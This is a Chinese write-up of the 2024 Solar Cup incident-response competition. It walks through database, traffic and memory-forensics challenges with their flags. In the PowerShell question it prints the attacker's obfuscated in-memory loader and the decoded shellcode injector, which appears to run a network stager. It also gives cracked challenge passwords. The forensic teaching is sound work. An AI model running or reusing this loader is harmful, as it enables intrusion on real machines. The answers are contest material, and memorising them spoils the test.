“ 第一次参加应急响应比赛,还是只会做一些和常规取证沾边的题目,综合应急题目看着都头大,还有很多东西要学习啊。”
附件链接:https://pan.baidu.com/s/1MPFLliLcLeJCdhYLSp8oVw?pwd=ky34
所有附件解压密码均为:KzXGabLkDjs&j@3a&fAayNmD
文中思路仅代表个人观点,正确答案以官方公布为准,大佬勿喷,欢迎评论区一起交流学习
01
—
数据库
数据库-1
请找到攻击者创建隐藏账户的时间
flag格式 如 flag{2024/01/01 00:00:00}
flag{2024/12/1615:24:21}
使用X-Ways加载镜像
导出config文件夹,使用passwarekit恢复密码,可以看到有一个影子用户test$
使用rockyou字典跑出Administrator的明文密码为Password@123
VMware打开ovf文件导入虚拟机,使用密码Password@123登录Administrator账户,事件查看器中搜索test$,找到创建用户的日志
数据库-2
请找到恶意文件的名称
flag格式 如 flag{*.*}
flag{xmrig.exe}
查看任务管理器可以发现运行了一个XMRig miner进程
是一款挖矿软件
在C盘根目录下的java文件夹中找到xmrig.exe
数据库-3
请找到恶意文件的外联地址
flag格式 如 flag{1.1.1.1}
flag{203.107.45.167}
查看xmrig.exe进程的网络连接信息
数据库-4
请修复数据库
flag格式 如 flag{xxxxx}
flag{E4r5t5y6Mhgur89g}
参考官方的公众号文章
【成功案例】lockbit家族百万赎金不必付!技术手段修复被加密的数据库,附溯源分析报告
可知只加密了头部,那么大部分数据应该没有被修改
找到C:Program FilesMicrosoft SQL ServerMSSQL13.MSSQLSERVERMSSQLDATA下的加密数据文件
使用filelocator pro搜索关键词“flag{”,得到flag
数据库-5
请提交powershell命令中恶意文件的MD5
flag格式 如 flag{xxxxx}
flag{d72000ee7388d7d58960db277a91cc40}
在应用程序和服务日志中找到powershell的操作日志
筛选出事件ID为4101 执行远程命令的事件
找到执行powershell命令的记录
powershell -nop -w hidden -c '&([scriptblock]::create((New-ObjectSystem.IO.StreamReader(New-ObjectSystem.IO.Compression.GzipStream((New-ObjectSystem.IO.MemoryStream(,[System.Convert]::FromBase64String(((''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{0}'')-f''A'',''f'',''M'')))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))'
从一个Base64编码且经过Gzip压缩的字符串中解压内容并执行其中的脚本
对Base64编码的字符串进行Base64解码和Gunzip解压
得到powershell脚本代码
functiontWk{
Param ($k0M, $ybp)
$f2w = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
return$f2w.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($f2w.GetMethod('GetModuleHandle')).Invoke($null, @($k0M)))), $ybp))
}
functionlVhI5{
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $v8K8,
[Parameter(Position = 1)] [Type] $nZWM = [Void]
)
$p8dl = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$p8dl.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $v8K8).SetImplementationFlags('Runtime, Managed')
$p8dl.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $nZWM, $v8K8).SetImplementationFlags('Runtime, Managed')
return$p8dl.CreateType()
}
[Byte[]]$tUZml = [System.Convert]::FromBase64String("/EiD5PDozAAAAEFRQVBSUUgx0lZlSItSYEiLUhhIi1IgTTHJSItyUEgPt0pKSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0ItIGESLQCBJAdBQ41ZI/8lNMclBizSISAHWSDHAQcHJDaxBAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEFYQVheSAHQWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS////11JvndzMl8zMgAAQVZJieZIgeygAQAASYnlSbwCAAG9wKiu3EFUSYnkTInxQbpMdyYH/9VMiepoAQEAAFlBuimAawD/1WoKQV5QUE0xyU0xwEj/wEiJwkj/wEiJwUG66g/f4P/VSInHahBBWEyJ4kiJ+UG6maV0Yf/VhcB0Ckn/znXl6JMAAABIg+wQSIniTTHJagRBWEiJ+UG6AtnIX//Vg/gAflVIg8QgXon2akBBWWgAEAAAQVhIifJIMclBulikU+X/1UiJw0mJx00xyUmJ8EiJ2kiJ+UG6AtnIX//Vg/gAfShYQVdZaABAAABBWGoAWkG6Cy8PMP/VV1lBunVuTWH/1Un/zuk8////SAHDSCnGSIX2dbRB/+dYagBZScfC8LWiVv/V")
[Uint32]$uKrz = 0
$rS = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((tWk kernel32.dll VirtualAlloc), (lVhI5 @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $tUZml.Length,0x3000, 0x04)
[System.Runtime.InteropServices.Marshal]::Copy($tUZml, 0, $rS, $tUZml.length)
if(([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((tWk kernel32.dll VirtualProtect), (lVhI5 @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]))).Invoke($rS, [Uint32]$tUZml.Length, 0x10, [Ref]$uKrz)) -eq $true) {
$yfm6I = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((tWk kernel32.dll CreateThread), (lVhI5 @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$rS,[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((tWk kernel32.dll WaitForSingleObject), (lVhI5 @([IntPtr], [Int32]))).Invoke($yfm6I,0xffffffff) | Out-Null
}
使用Windows API来分配内存、修改内存保护属性并创建线程,从而运行包含在Base64编码字符串中的恶意代码,将其中的Base64编码字符串进行解码
保存到shell.txt,计算MD5
02
—
日志流量
题目文件:tomcat-wireshark.zip/web
日志流量-1
新手运维小王的Geoserver遭到了攻击:
黑客疑似删除了webshell后门,小王找到了可能是攻击痕迹的文件但不一定是正确的,请帮他排查一下。
flag格式 flag{xxxx}
flag{A7b4_X9zK_2v8N_wL5q4}
D盾扫描目录找到tomcat-wiresharkwebapache-tomcat-9.0.96workCatalinalocalhostROOTorgapachejspb_js
base64解码
日志流量-2
新手运维小王的Geoserver遭到了攻击:
小王拿到了当时被入侵时的流量,其中一个IP有访问webshell的流量,已提取部分放在了两个pcapng中了。请帮他解密该流量。
flag格式 flag{xxxx}
flag{sA4hP_89dFh_x09tY_lL4SI4}
ctf-neta一把梭,哥斯拉webshell,密钥为b_jsp.java中的xc
日志流量-3
新手运维小王的Geoserver遭到了攻击:
小王拿到了当时被入侵时的流量,黑客疑似通过webshell上传了文件,请看看里面是什么。
flag格式 flag{xxxx}
flag{dD7g_jk90_jnVm_aPkcs}
上传过一个flag.pdf
wireshark中找到序号为7410的HTTP流量
复制data的值,使用CyberChef解密
结果保存为flag.pdf,打开
03
—
内存取证
题目文件:SERVER-2008-20241220-162057
lovelymem一把梭
内存取证-1
请找到rdp连接的跳板地址
flag格式 flag{1.1.1.1}
flag{192.168.60.220}
netscan
内存取证-2
请找到攻击者下载黑客工具的IP地址
flag格式 flag{1.1.1.1}
flag{155.94.204.67}
cmdscan,下载了mimikatz
内存取证-3
攻击者获取的“FusionManager节点操作系统帐户(业务帐户)”的密码是什么
flag格式 flag{xxxx}
flag{GalaxManager_2012}
在执行下载mimikatz的命令之前查看了桌面上的pass.txt
导出查看
内存取证-4
请找到攻击者创建的用户
flag格式 flag{xxxx}
flag{ASP.NET}
hashdump,是ASP.NET用户
内存取证-5
请找到攻击者利用跳板rdp登录的时间
flag格式 flag{2024/01/01 00:00:00}
flag{2024-12-2100:15:34}
查看MemPorcfs的网络信息,答案的时区是UTC+8
内存取证-6
请找到攻击者创建的用户的密码哈希值
flag格式 flag{XXXX}
flag{5ffe97489cbec1e08d0c6339ec39416d}
hashdump
签到
本题作为签到题,请给出邮服发件顺序。
Received: from mail.da4s8gag.com ([140.143.207.229]) by newxmmxszc6-1.qq.com (NewMX) with SMTP id 6010A8AD for ; Thu, 17 Oct 202411:24:01+0800
X-QQ-mid: xmmxszc6-1t1729135441tm9qrjq3k
X-QQ-XMRINFO: NgToQqU5s31XQ+vYT/V7+uk=
Authentication-Results: mx.qq.com; spf=none smtp.mailfrom=;dkim=none; dmarc=none(permerror) header.from=solar.sec
Received: from mail.solar.sec (VM-20-3-centos [127.0.0.1]) by mail.da4s8gag.com (Postfix) with ESMTP id 2EF0A60264 for ; Thu, 17 Oct 202411:24:01+0800 (CST)
Date: Thu, 17 Oct 202411:24:01+0800
To: hellosolartest@qq.com
From: 鍏嬪競缃戜俊
Subject:xxxxxxxxxx
Message-Id: <20241017112401.032146@mail.solar.sec>
X-Mailer: QQMail 2.x
XXXXXXXXXX
flag格式为flag{domain1|...|domainN}
flag{mail.solar.sec|mail.da4s8gag.com|newxmmxszc6-1.qq.com}
直接问AI
点点关注不迷路
喜欢的看官还请多多点赞转发
原文始发于微信公众号(电子取证wiki):2024第一届Solar杯应急响应挑战赛数据库、日志流量、内存取证部分WP
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论